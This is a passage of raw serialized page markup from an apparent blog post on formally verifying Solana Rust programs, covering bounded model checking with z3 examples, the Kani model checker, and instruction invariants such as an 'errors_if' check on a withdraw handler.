100",{"type":23,"tag":134,"props":18614,"children":18615},{"style":179},[18616],{"type":28,"value":14272},{"type":23,"tag":134,"props":18618,"children":18619},{"class":136,"line":332},[18620,18625,18629,18633,18637,18641],{"type":23,"tag":134,"props":18621,"children":18622},{"style":179},[18623],{"type":28,"value":18624},"        z ",{"type":23,"tag":134,"props":18626,"children":18627},{"style":168},[18628],{"type":28,"value":257},{"type":23,"tag":134,"props":18630,"children":18631},{"style":179},[18632],{"type":28,"value":1720},{"type":23,"tag":134,"props":18634,"children":18635},{"style":168},[18636],{"type":28,"value":1777},{"type":23,"tag":134,"props":18638,"children":18639},{"style":205},[18640],{"type":28,"value":7393},{"type":23,"tag":134,"props":18642,"children":18643},{"style":179},[18644],{"type":28,"value":182},{"type":23,"tag":134,"props":18646,"children":18647},{"class":136,"line":438},[18648,18652,18656],{"type":23,"tag":134,"props":18649,"children":18650},{"style":179},[18651],{"type":28,"value":15249},{"type":23,"tag":134,"props":18653,"children":18654},{"style":189},[18655],{"type":28,"value":490},{"type":23,"tag":134,"props":18657,"children":18658},{"style":179},[18659],{"type":28,"value":463},{"type":23,"tag":134,"props":18661,"children":18662},{"class":136,"line":466},[18663,18667,18671,18675,18679,18683],{"type":23,"tag":134,"props":18664,"children":18665},{"style":179},[18666],{"type":28,"value":18624},{"type":23,"tag":134,"props":18668,"children":18669},{"style":168},[18670],{"type":28,"value":257},{"type":23,"tag":134,"props":18672,"children":18673},{"style":179},[18674],{"type":28,"value":1720},{"type":23,"tag":134,"props":18676,"children":18677},{"style":168},[18678],{"type":28,"value":1586},{"type":23,"tag":134,"props":18680,"children":18681},{"style":205},[18682],{"type":28,"value":1729},{"type":23,"tag":134,"props":18684,"children":18685},{"style":179},[18686],{"type":28,"value":182},{"type":23,"tag":134,"props":18688,"children":18689},{"class":136,"line":479},[18690],{"type":23,"tag":134,"props":18691,"children":18692},{"style":179},[18693],{"type":28,"value":533},{"type":23,"tag":134,"props":18695,"children":18696},{"class":136,"line":497},[18697],{"type":23,"tag":134,"props":18698,"children":18699},{"emptyLinePlaceholder":15},[18700],{"type":28,"value":865},{"type":23,"tag":134,"props":18702,"children":18703},{"class":136,"line":518},[18704],{"type":23,"tag":134,"props":18705,"children":18706},{"style":141},[18707],{"type":28,"value":18708},"    // Property P:\n",{"type":23,"tag":134,"props":18710,"children":18711},{"class":136,"line":527},[18712,18717,18722,18726,18731],{"type":23,"tag":134,"props":18713,"children":18714},{"style":264},[18715],{"type":28,"value":18716},"    assert",{"type":23,"tag":134,"props":18718,"children":18719},{"style":179},[18720],{"type":28,"value":18721},"(z ",{"type":23,"tag":134,"props":18723,"children":18724},{"style":168},[18725],{"type":28,"value":15158},{"type":23,"tag":134,"props":18727,"children":18728},{"style":205},[18729],{"type":28,"value":18730}," 105",{"type":23,"tag":134,"props":18732,"children":18733},{"style":179},[18734],{"type":28,"value":1021},{"type":23,"tag":134,"props":18736,"children":18737},{"class":136,"line":780},[18738],{"type":23,"tag":134,"props":18739,"children":18740},{"style":179},[18741],{"type":28,"value":1098},{"type":23,"tag":24,"props":18743,"children":18744},{},[18745,18747,18753,18755,18761],{"type":28,"value":18746},"This function takes an input ",{"type":23,"tag":92,"props":18748,"children":18750},{"className":18749},[],[18751],{"type":28,"value":18752},"x",{"type":28,"value":18754}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":92,"props":18756,"children":18758},{"className":18757},[],[18759],{"type":28,"value":18760},"z != 105",{"type":28,"value":720},{"type":23,"tag":24,"props":18763,"children":18764},{},[18765],{"type":28,"value":18766},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":24,"props":18768,"children":18769},{},[18770],{"type":28,"value":18771},"Positive branch:",{"type":23,"tag":87,"props":18773,"children":18775},{"code":18774,"language":315,"meta":7,"className":15985,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[18776],{"type":23,"tag":92,"props":18777,"children":18778},{"__ignoreMap":7},[18779,18804,18820],{"type":23,"tag":134,"props":18780,"children":18781},{"class":136,"line":137},[18782,18787,18791,18795,18799],{"type":23,"tag":134,"props":18783,"children":18784},{"style":179},[18785],{"type":28,"value":18786},"y ",{"type":23,"tag":134,"props":18788,"children":18789},{"style":168},[18790],{"type":28,"value":8035},{"type":23,"tag":134,"props":18792,"children":18793},{"style":179},[18794],{"type":28,"value":18566},{"type":23,"tag":134,"props":18796,"children":18797},{"style":168},[18798],{"type":28,"value":1586},{"type":23,"tag":134,"props":18800,"children":18801},{"style":205},[18802],{"type":28,"value":18803}," 3\n",{"type":23,"tag":134,"props":18805,"children":18806},{"class":136,"line":147},[18807,18811,18815],{"type":23,"tag":134,"props":18808,"children":18809},{"style":179},[18810],{"type":28,"value":18786},{"type":23,"tag":134,"props":18812,"children":18813},{"style":168},[18814],{"type":28,"value":9927},{"type":23,"tag":134,"props":18816,"children":18817},{"style":205},[18818],{"type":28,"value":18819}," 100\n",{"type":23,"tag":134,"props":18821,"children":18822},{"class":136,"line":185},[18823,18828,18832,18836,18840],{"type":23,"tag":134,"props":18824,"children":18825},{"style":179},[18826],{"type":28,"value":18827},"z ",{"type":23,"tag":134,"props":18829,"children":18830},{"style":168},[18831],{"type":28,"value":8035},{"type":23,"tag":134,"props":18833,"children":18834},{"style":179},[18835],{"type":28,"value":1720},{"type":23,"tag":134,"props":18837,"children":18838},{"style":168},[18839],{"type":28,"value":1777},{"type":23,"tag":134,"props":18841,"children":18842},{"style":205},[18843],{"type":28,"value":18844}," 2\n",{"type":23,"tag":24,"props":18846,"children":18847},{},[18848],{"type":28,"value":18849},"Negative branch:",{"type":23,"tag":87,"props":18851,"children":18853},{"code":18852,"language":315,"meta":7,"className":15985,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[18854],{"type":23,"tag":92,"props":18855,"children":18856},{"__ignoreMap":7},[18857,18880,18896],{"type":23,"tag":134,"props":18858,"children":18859},{"class":136,"line":137},[18860,18864,18868,18872,18876],{"type":23,"tag":134,"props":18861,"children":18862},{"style":179},[18863],{"type":28,"value":18786},{"type":23,"tag":134,"props":18865,"children":18866},{"style":168},[18867],{"type":28,"value":8035},{"type":23,"tag":134,"props":18869,"children":18870},{"style":179},[18871],{"type":28,"value":18566},{"type":23,"tag":134,"props":18873,"children":18874},{"style":168},[18875],{"type":28,"value":1586},{"type":23,"tag":134,"props":18877,"children":18878},{"style":205},[18879],{"type":28,"value":18803},{"type":23,"tag":134,"props":18881,"children":18882},{"class":136,"line":147},[18883,18887,18892],{"type":23,"tag":134,"props":18884,"children":18885},{"style":179},[18886],{"type":28,"value":18786},{"type":23,"tag":134,"props":18888,"children":18889},{"style":168},[18890],{"type":28,"value":18891},"\u003C=",{"type":23,"tag":134,"props":18893,"children":18894},{"style":205},[18895],{"type":28,"value":18819},{"type":23,"tag":134,"props":18897,"children":18898},{"class":136,"line":185},[18899,18903,18907,18911,18915],{"type":23,"tag":134,"props":18900,"children":18901},{"style":179},[18902],{"type":28,"value":18827},{"type":23,"tag":134,"props":18904,"children":18905},{"style":168},[18906],{"type":28,"value":8035},{"type":23,"tag":134,"props":18908,"children":18909},{"style":179},[18910],{"type":28,"value":1720},{"type":23,"tag":134,"props":18912,"children":18913},{"style":168},[18914],{"type":28,"value":1586},{"type":23,"tag":134,"props":18916,"children":18917},{"style":205},[18918],{"type":28,"value":18919}," 1\n",{"type":23,"tag":24,"props":18921,"children":18922},{},[18923,18925,18932],{"type":28,"value":18924},"Using the ",{"type":23,"tag":31,"props":18926,"children":18929},{"href":18927,"rel":18928},"https://github.com/Z3Prover/z3",[35],[18930],{"type":28,"value":18931},"z3",{"type":28,"value":18933}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":87,"props":18935,"children":18939},{"code":18936,"language":18937,"meta":7,"className":18938,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[18940],{"type":23,"tag":92,"props":18941,"children":18942},{"__ignoreMap":7},[18943,18966,18973,18999,19023,19047,19054,19062,19079,19107,19126,19154,19161,19169,19190,19208,19215,19223,19238,19265,19284,19311,19318,19325,19344],{"type":23,"tag":134,"props":18944,"children":18945},{"class":136,"line":137},[18946,18951,18956,18961],{"type":23,"tag":134,"props":18947,"children":18948},{"style":189},[18949],{"type":28,"value":18950},"from",{"type":23,"tag":134,"props":18952,"children":18953},{"style":179},[18954],{"type":28,"value":18955}," z3 ",{"type":23,"tag":134,"props":18957,"children":18958},{"style":189},[18959],{"type":28,"value":18960},"import",{"type":23,"tag":134,"props":18962,"children":18963},{"style":168},[18964],{"type":28,"value":18965}," *\n",{"type":23,"tag":134,"props":18967,"children":18968},{"class":136,"line":147},[18969],{"type":23,"tag":134,"props":18970,"children":18971},{"emptyLinePlaceholder":15},[18972],{"type":28,"value":865},{"type":23,"tag":134,"props":18974,"children":18975},{"class":136,"line":185},[18976,18981,18985,18990,18995],{"type":23,"tag":134,"props":18977,"children":18978},{"style":179},[18979],{"type":28,"value":18980},"x ",{"type":23,"tag":134,"props":18982,"children":18983},{"style":168},[18984],{"type":28,"value":257},{"type":23,"tag":134,"props":18986,"children":18987},{"style":179},[18988],{"type":28,"value":18989}," Int(",{"type":23,"tag":134,"props":18991,"children":18992},{"style":1461},[18993],{"type":28,"value":18994},"'x'",{"type":23,"tag":134,"props":18996,"children":18997},{"style":179},[18998],{"type":28,"value":329},{"type":23,"tag":134,"props":19000,"children":19001},{"class":136,"line":221},[19002,19006,19010,19014,19019],{"type":23,"tag":134,"props":19003,"children":19004},{"style":179},[19005],{"type":28,"value":18786},{"type":23,"tag":134,"props":19007,"children":19008},{"style":168},[19009],{"type":28,"value":257},{"type":23,"tag":134,"props":19011,"children":19012},{"style":179},[19013],{"type":28,"value":18989},{"type":23,"tag":134,"props":19015,"children":19016},{"style":1461},[19017],{"type":28,"value":19018},"'y'",{"type":23,"tag":134,"props":19020,"children":19021},{"style":179},[19022],{"type":28,"value":329},{"type":23,"tag":134,"props":19024,"children":19025},{"class":136,"line":332},[19026,19030,19034,19038,19043],{"type":23,"tag":134,"props":19027,"children":19028},{"style":179},[19029],{"type":28,"value":18827},{"type":23,"tag":134,"props":19031,"children":19032},{"style":168},[19033],{"type":28,"value":257},{"type":23,"tag":134,"props":19035,"children":19036},{"style":179},[19037],{"type":28,"value":18989},{"type":23,"tag":134,"props":19039,"children":19040},{"style":1461},[19041],{"type":28,"value":19042},"'z'",{"type":23,"tag":134,"props":19044,"children":19045},{"style":179},[19046],{"type":28,"value":329},{"type":23,"tag":134,"props":19048,"children":19049},{"class":136,"line":438},[19050],{"type":23,"tag":134,"props":19051,"children":19052},{"emptyLinePlaceholder":15},[19053],{"type":28,"value":865},{"type":23,"tag":134,"props":19055,"children":19056},{"class":136,"line":466},[19057],{"type":23,"tag":134,"props":19058,"children":19059},{"style":141},[19060],{"type":28,"value":19061},"# Positive branch:\n",{"type":23,"tag":134,"props":19063,"children":19064},{"class":136,"line":479},[19065,19070,19074],{"type":23,"tag":134,"props":19066,"children":19067},{"style":179},[19068],{"type":28,"value":19069},"s ",{"type":23,"tag":134,"props":19071,"children":19072},{"style":168},[19073],{"type":28,"value":257},{"type":23,"tag":134,"props":19075,"children":19076},{"style":179},[19077],{"type":28,"value":19078}," Solver()\n",{"type":23,"tag":134,"props":19080,"children":19081},{"class":136,"line":497},[19082,19087,19091,19095,19099,19103],{"type":23,"tag":134,"props":19083,"children":19084},{"style":179},[19085],{"type":28,"value":19086},"s.add(y ",{"type":23,"tag":134,"props":19088,"children":19089},{"style":168},[19090],{"type":28,"value":8035},{"type":23,"tag":134,"props":19092,"children":19093},{"style":179},[19094],{"type":28,"value":18566},{"type":23,"tag":134,"props":19096,"children":19097},{"style":168},[19098],{"type":28,"value":1586},{"type":23,"tag":134,"props":19100,"children":19101},{"style":205},[19102],{"type":28,"value":18575},{"type":23,"tag":134,"props":19104,"children":19105},{"style":179},[19106],{"type":28,"value":329},{"type":23,"tag":134,"props":19108,"children":19109},{"class":136,"line":518},[19110,19114,19118,19122],{"type":23,"tag":134,"props":19111,"children":19112},{"style":179},[19113],{"type":28,"value":19086},{"type":23,"tag":134,"props":19115,"children":19116},{"style":168},[19117],{"type":28,"value":9927},{"type":23,"tag":134,"props":19119,"children":19120},{"style":205},[19121],{"type":28,"value":18612},{"type":23,"tag":134,"props":19123,"children":19124},{"style":179},[19125],{"type":28,"value":329},{"type":23,"tag":134,"props":19127,"children":19128},{"class":136,"line":527},[19129,19134,19138,19142,19146,19150],{"type":23,"tag":134,"props":19130,"children":19131},{"style":179},[19132],{"type":28,"value":19133},"s.add(z ",{"type":23,"tag":134,"props":19135,"children":19136},{"style":168},[19137],{"type":28,"value":8035},{"type":23,"tag":134,"props":19139,"children":19140},{"style":179},[19141],{"type":28,"value":1720},{"type":23,"tag":134,"props":19143,"children":19144},{"style":168},[19145],{"type":28,"value":1777},{"type":23,"tag":134,"props":19147,"children":19148},{"style":205},[19149],{"type":28,"value":7393},{"type":23,"tag":134,"props":19151,"children":19152},{"style":179},[19153],{"type":28,"value":329},{"type":23,"tag":134,"props":19155,"children":19156},{"class":136,"line":780},[19157],{"type":23,"tag":134,"props":19158,"children":19159},{"emptyLinePlaceholder":15},[19160],{"type":28,"value":865},{"type":23,"tag":134,"props":19162,"children":19163},{"class":136,"line":797},[19164],{"type":23,"tag":134,"props":19165,"children":19166},{"style":141},[19167],{"type":28,"value":19168},"# check if we can violate the correctness property\n",{"type":23,"tag":134,"props":19170,"children":19171},{"class":136,"line":814},[19172,19177,19181,19185],{"type":23,"tag":134,"props":19173,"children":19174},{"style":179},[19175],{"type":28,"value":19176},"s.add(Not(z ",{"type":23,"tag":134,"props":19178,"children":19179},{"style":168},[19180],{"type":28,"value":15158},{"type":23,"tag":134,"props":19182,"children":19183},{"style":205},[19184],{"type":28,"value":18730},{"type":23,"tag":134,"props":19186,"children":19187},{"style":179},[19188],{"type":28,"value":19189},"))\n",{"type":23,"tag":134,"props":19191,"children":19192},{"class":136,"line":827},[19193,19198,19203],{"type":23,"tag":134,"props":19194,"children":19195},{"style":264},[19196],{"type":28,"value":19197},"print",{"type":23,"tag":134,"props":19199,"children":19200},{"style":179},[19201],{"type":28,"value":19202},"(s.check()) ",{"type":23,"tag":134,"props":19204,"children":19205},{"style":141},[19206],{"type":28,"value":19207},"# \"unsat\"\n",{"type":23,"tag":134,"props":19209,"children":19210},{"class":136,"line":836},[19211],{"type":23,"tag":134,"props":19212,"children":19213},{"emptyLinePlaceholder":15},[19214],{"type":28,"value":865},{"type":23,"tag":134,"props":19216,"children":19217},{"class":136,"line":859},[19218],{"type":23,"tag":134,"props":19219,"children":19220},{"style":141},[19221],{"type":28,"value":19222},"# Negative branch:\n",{"type":23,"tag":134,"props":19224,"children":19225},{"class":136,"line":868},[19226,19230,19234],{"type":23,"tag":134,"props":19227,"children":19228},{"style":179},[19229],{"type":28,"value":19069},{"type":23,"tag":134,"props":19231,"children":19232},{"style":168},[19233],{"type":28,"value":257},{"type":23,"tag":134,"props":19235,"children":19236},{"style":179},[19237],{"type":28,"value":19078},{"type":23,"tag":134,"props":19239,"children":19240},{"class":136,"line":877},[19241,19245,19249,19253,19257,19261],{"type":23,"tag":134,"props":19242,"children":19243},{"style":179},[19244],{"type":28,"value":19086},{"type":23,"tag":134,"props":19246,"children":19247},{"style":168},[19248],{"type":28,"value":8035},{"type":23,"tag":134,"props":19250,"children":19251},{"style":179},[19252],{"type":28,"value":18566},{"type":23,"tag":134,"props":19254,"children":19255},{"style":168},[19256],{"type":28,"value":1586},{"type":23,"tag":134,"props":19258,"children":19259},{"style":205},[19260],{"type":28,"value":18575},{"type":23,"tag":134,"props":19262,"children":19263},{"style":179},[19264],{"type":28,"value":329},{"type":23,"tag":134,"props":19266,"children":19267},{"class":136,"line":946},[19268,19272,19276,19280],{"type":23,"tag":134,"props":19269,"children":19270},{"style":179},[19271],{"type":28,"value":19086},{"type":23,"tag":134,"props":19273,"children":19274},{"style":168},[19275],{"type":28,"value":18891},{"type":23,"tag":134,"props":19277,"children":19278},{"style":205},[19279],{"type":28,"value":18612},{"type":23,"tag":134,"props":19281,"children":19282},{"style":179},[19283],{"type":28,"value":329},{"type":23,"tag":134,"props":19285,"children":19286},{"class":136,"line":954},[19287,19291,19295,19299,19303,19307],{"type":23,"tag":134,"props":19288,"children":19289},{"style":179},[19290],{"type":28,"value":19133},{"type":23,"tag":134,"props":19292,"children":19293},{"style":168},[19294],{"type":28,"value":8035},{"type":23,"tag":134,"props":19296,"children":19297},{"style":179},[19298],{"type":28,"value":1720},{"type":23,"tag":134,"props":19300,"children":19301},{"style":168},[19302],{"type":28,"value":1586},{"type":23,"tag":134,"props":19304,"children":19305},{"style":205},[19306],{"type":28,"value":1729},{"type":23,"tag":134,"props":19308,"children":19309},{"style":179},[19310],{"type":28,"value":329},{"type":23,"tag":134,"props":19312,"children":19313},{"class":136,"line":984},[19314],{"type":23,"tag":134,"props":19315,"children":19316},{"emptyLinePlaceholder":15},[19317],{"type":28,"value":865},{"type":23,"tag":134,"props":19319,"children":19320},{"class":136,"line":992},[19321],{"type":23,"tag":134,"props":19322,"children":19323},{"style":141},[19324],{"type":28,"value":19168},{"type":23,"tag":134,"props":19326,"children":19327},{"class":136,"line":1024},[19328,19332,19336,19340],{"type":23,"tag":134,"props":19329,"children":19330},{"style":179},[19331],{"type":28,"value":19176},{"type":23,"tag":134,"props":19333,"children":19334},{"style":168},[19335],{"type":28,"value":15158},{"type":23,"tag":134,"props":19337,"children":19338},{"style":205},[19339],{"type":28,"value":18730},{"type":23,"tag":134,"props":19341,"children":19342},{"style":179},[19343],{"type":28,"value":19189},{"type":23,"tag":134,"props":19345,"children":19346},{"class":136,"line":1032},[19347,19351,19355],{"type":23,"tag":134,"props":19348,"children":19349},{"style":264},[19350],{"type":28,"value":19197},{"type":23,"tag":134,"props":19352,"children":19353},{"style":179},[19354],{"type":28,"value":19202},{"type":23,"tag":134,"props":19356,"children":19357},{"style":141},[19358],{"type":28,"value":19207},{"type":23,"tag":24,"props":19360,"children":19361},{},[19362,19364,19370,19372,19377],{"type":28,"value":19363},"Both of these cases return ",{"type":23,"tag":92,"props":19365,"children":19367},{"className":19366},[],[19368],{"type":28,"value":19369},"unsat",{"type":28,"value":19371}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":55,"props":19373,"children":19374},{},[19375],{"type":28,"value":19376},"correct",{"type":28,"value":19378}," according to this property.",{"type":23,"tag":9072,"props":19380,"children":19382},{"id":19381},"loop-bounds-path-explosion",[19383],{"type":28,"value":19384},"Loop bounds & path explosion",{"type":23,"tag":24,"props":19386,"children":19387},{},[19388,19390,19395,19397,19402],{"type":28,"value":19389},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":55,"props":19391,"children":19392},{},[19393],{"type":28,"value":19394},"every",{"type":28,"value":19396}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":55,"props":19398,"children":19399},{},[19400],{"type":28,"value":19401},"infinite",{"type":28,"value":19403}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":24,"props":19405,"children":19406},{},[19407],{"type":28,"value":19408},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":24,"props":19410,"children":19411},{},[19412],{"type":28,"value":19413},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":24,"props":19415,"children":19416},{},[19417],{"type":28,"value":19418},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":9072,"props":19420,"children":19422},{"id":19421},"kani-model-checker",[19423],{"type":28,"value":19424},"Kani Model Checker",{"type":23,"tag":24,"props":19426,"children":19427},{},[19428,19430,19435],{"type":28,"value":19429},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":31,"props":19431,"children":19433},{"href":18322,"rel":19432},[35],[19434],{"type":28,"value":18326},{"type":28,"value":19436},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":24,"props":19438,"children":19439},{},[19440,19442,19447,19449,19455,19456,19462,19464,19470],{"type":28,"value":19441},"Kani allows you to write ",{"type":23,"tag":55,"props":19443,"children":19444},{},[19445],{"type":28,"value":19446},"proof harnesses",{"type":28,"value":19448}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":92,"props":19450,"children":19452},{"className":19451},[],[19453],{"type":28,"value":19454},"assume",{"type":28,"value":10458},{"type":23,"tag":92,"props":19457,"children":19459},{"className":19458},[],[19460],{"type":28,"value":19461},"assert",{"type":28,"value":19463}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":92,"props":19465,"children":19467},{"className":19466},[],[19468],{"type":28,"value":19469},"cargo kani",{"type":28,"value":19471}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":61,"props":19473,"children":19475},{"id":19474},"specification-how-can-we-describe-what-we-want-our-program-to-do",[19476,19478,19482],{"type":28,"value":19477},"Specification: How can we describe what we ",{"type":23,"tag":55,"props":19479,"children":19480},{},[19481],{"type":28,"value":18396},{"type":28,"value":18398},{"type":23,"tag":24,"props":19484,"children":19485},{},[19486],{"type":23,"tag":55,"props":19487,"children":19488},{},[19489],{"type":23,"tag":2532,"props":19490,"children":19491},{},[19492],{"type":28,"value":19493},"And what even do we want it to do?",{"type":23,"tag":24,"props":19495,"children":19496},{},[19497,19499,19504],{"type":28,"value":19498},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":55,"props":19500,"children":19501},{},[19502],{"type":28,"value":19503},"specifying",{"type":28,"value":19505}," what the \"correct\" behavior should be.",{"type":23,"tag":24,"props":19507,"children":19508},{},[19509],{"type":28,"value":19510},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":16158,"props":19512,"children":19513},{},[19514,19526,19538],{"type":23,"tag":4894,"props":19515,"children":19516},{},[19517,19519,19524],{"type":28,"value":19518},"\"It should not be possible to ",{"type":23,"tag":2532,"props":19520,"children":19521},{},[19522],{"type":28,"value":19523},"steal money",{"type":28,"value":19525}," via a swap program\"",{"type":23,"tag":4894,"props":19527,"children":19528},{},[19529,19531,19536],{"type":28,"value":19530},"\"A multisig should never get into a state where you ",{"type":23,"tag":2532,"props":19532,"children":19533},{},[19534],{"type":28,"value":19535},"can't sign anything",{"type":28,"value":19537},"\"",{"type":23,"tag":4894,"props":19539,"children":19540},{},[19541],{"type":28,"value":19542},"\"User funds in a staking protocol \"",{"type":23,"tag":24,"props":19544,"children":19545},{},[19546,19548,19558,19560,19565],{"type":28,"value":19547},"These are types of properties you can tell your ",{"type":23,"tag":31,"props":19549,"children":19552},{"href":19550,"rel":19551},"https://osec.io/",[35],[19553],{"type":23,"tag":55,"props":19554,"children":19555},{},[19556],{"type":28,"value":19557},"human auditors",{"type":28,"value":19559}," but these English phrases are not particularly useful for ",{"type":23,"tag":55,"props":19561,"children":19562},{},[19563],{"type":28,"value":19564},"automated verification techniques",{"type":28,"value":19566}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":24,"props":19568,"children":19569},{},[19570,19572,19577,19579,19584],{"type":28,"value":19571},"Instead, we need to be able to specify ",{"type":23,"tag":55,"props":19573,"children":19574},{},[19575],{"type":28,"value":19576},"in code",{"type":28,"value":19578}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":92,"props":19580,"children":19582},{"className":19581},[],[19583],{"type":28,"value":19461},{"type":28,"value":19585}," statement.",{"type":23,"tag":9072,"props":19587,"children":19589},{"id":19588},"solana-invariants",[19590],{"type":28,"value":19591},"Solana Invariants",{"type":23,"tag":24,"props":19593,"children":19594},{},[19595,19597,19602,19603,19608],{"type":28,"value":19596},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":2532,"props":19598,"children":19599},{},[19600],{"type":28,"value":19601},"instruction invariants",{"type":28,"value":10458},{"type":23,"tag":2532,"props":19604,"children":19605},{},[19606],{"type":28,"value":19607},"account invariants",{"type":28,"value":720},{"type":23,"tag":18368,"props":19610,"children":19612},{"id":19611},"instruction-invariant",[19613],{"type":28,"value":19614},"Instruction Invariant",{"type":23,"tag":24,"props":19616,"children":19617},{},[19618,19620,19625,19627,19633,19634,19640],{"type":28,"value":19619},"An ",{"type":23,"tag":2532,"props":19621,"children":19622},{},[19623],{"type":28,"value":19624},"instruction invariant",{"type":28,"value":19626}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":92,"props":19628,"children":19630},{"className":19629},[],[19631],{"type":28,"value":19632},"succeeds_if",{"type":28,"value":12601},{"type":23,"tag":92,"props":19635,"children":19637},{"className":19636},[],[19638],{"type":28,"value":19639},"errors_if",{"type":28,"value":19641}," macro annotations on the instruction handler.",{"type":23,"tag":24,"props":19643,"children":19644},{},[19645],{"type":28,"value":19646},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":24,"props":19648,"children":19649},{},[19650,19652,19658,19660,19665],{"type":28,"value":19651},"For example, say we have a ",{"type":23,"tag":92,"props":19653,"children":19655},{"className":19654},[],[19656],{"type":28,"value":19657},"Withdraw",{"type":28,"value":19659}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":55,"props":19661,"children":19662},{},[19663],{"type":28,"value":19664},"more",{"type":28,"value":19666}," tokens than their current balance.",{"type":23,"tag":24,"props":19668,"children":19669},{},[19670,19672,19677],{"type":28,"value":19671},"Using our tool, you could specify the following ",{"type":23,"tag":92,"props":19673,"children":19675},{"className":19674},[],[19676],{"type":28,"value":19639},{"type":28,"value":19678}," property on your instruction handler:",{"type":23,"tag":87,"props":19680,"children":19682},{"code":19681,"language":127,"meta":7,"className":128,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[19683],{"type":23,"tag":92,"props":19684,"children":19685},{"__ignoreMap":7},[19686,19694,19729,19737,19810,19818],{"type":23,"tag":134,"props":19687,"children":19688},{"class":136,"line":137},[19689],{"type":23,"tag":134,"props":19690,"children":19691},{"style":179},[19692],{"type":28,"value":19693},"#[errors_if(\n",{"type":23,"tag":134,"props":19695,"children":19696},{"class":136,"line":147},[19697,19702,19706,19711,19715,19720,19724],{"type":23,"tag":134,"props":19698,"children":19699},{"style":179},[19700],{"type":28,"value":19701},"    ctx",{"type":23,"tag":134,"props":19703,"children":19704},{"style":168},[19705],{"type":28,"value":720},{"type":23,"tag":134,"props":19707,"children":19708},{"style":179},[19709],{"type":28,"value":19710},"user",{"type":23,"tag":134,"props":19712,"children":19713},{"style":168},[19714],{"type":28,"value":720},{"type":23,"tag":134,"props":19716,"children":19717},{"style":179},[19718],{"type":28,"value":19719},"balance ",{"type":23,"tag":134,"props":19721,"children":19722},{"style":168},[19723],{"type":28,"value":5262},{"type":23,"tag":134,"props":19725,"children":19726},{"style":179},[19727],{"type":28,"value":19728}," amount\n",{"type":23,"tag":134,"props":19730,"children":19731},{"class":136,"line":185},[19732],{"type":23,"tag":134,"props":19733,"children":19734},{"style":179},[19735],{"type":28,"value":19736},")]\n",{"type":23,"tag":134,"props":19738,"children":19739},{"class":136,"line":221},[19740,19745,19750,19754,19759,19763,19768,19772,19776,19780,19785,19789,19793,19797,19801,19805],{"type":23,"tag":134,"props":19741,"children":19742},{"style":151},[19743],{"type":28,"value":19744},"fn",{"type":23,"tag":134,"props":19746,"children":19747},{"style":264},[19748],{"type":28,"value":19749}," withdraw",{"type":23,"tag":134,"props":19751,"children":19752},{"style":179},[19753],{"type":28,"value":272},{"type":23,"tag":134,"props":19755,"children":19756},{"style":162},[19757],{"type":28,"value":19758},"ctx",{"type":23,"tag":134,"props":19760,"children":19761},{"style":168},[19762],{"type":28,"value":1697},{"type":23,"tag":134,"props":19764,"children":19765},{"style":597},[19766],{"type":28,"value":19767}," 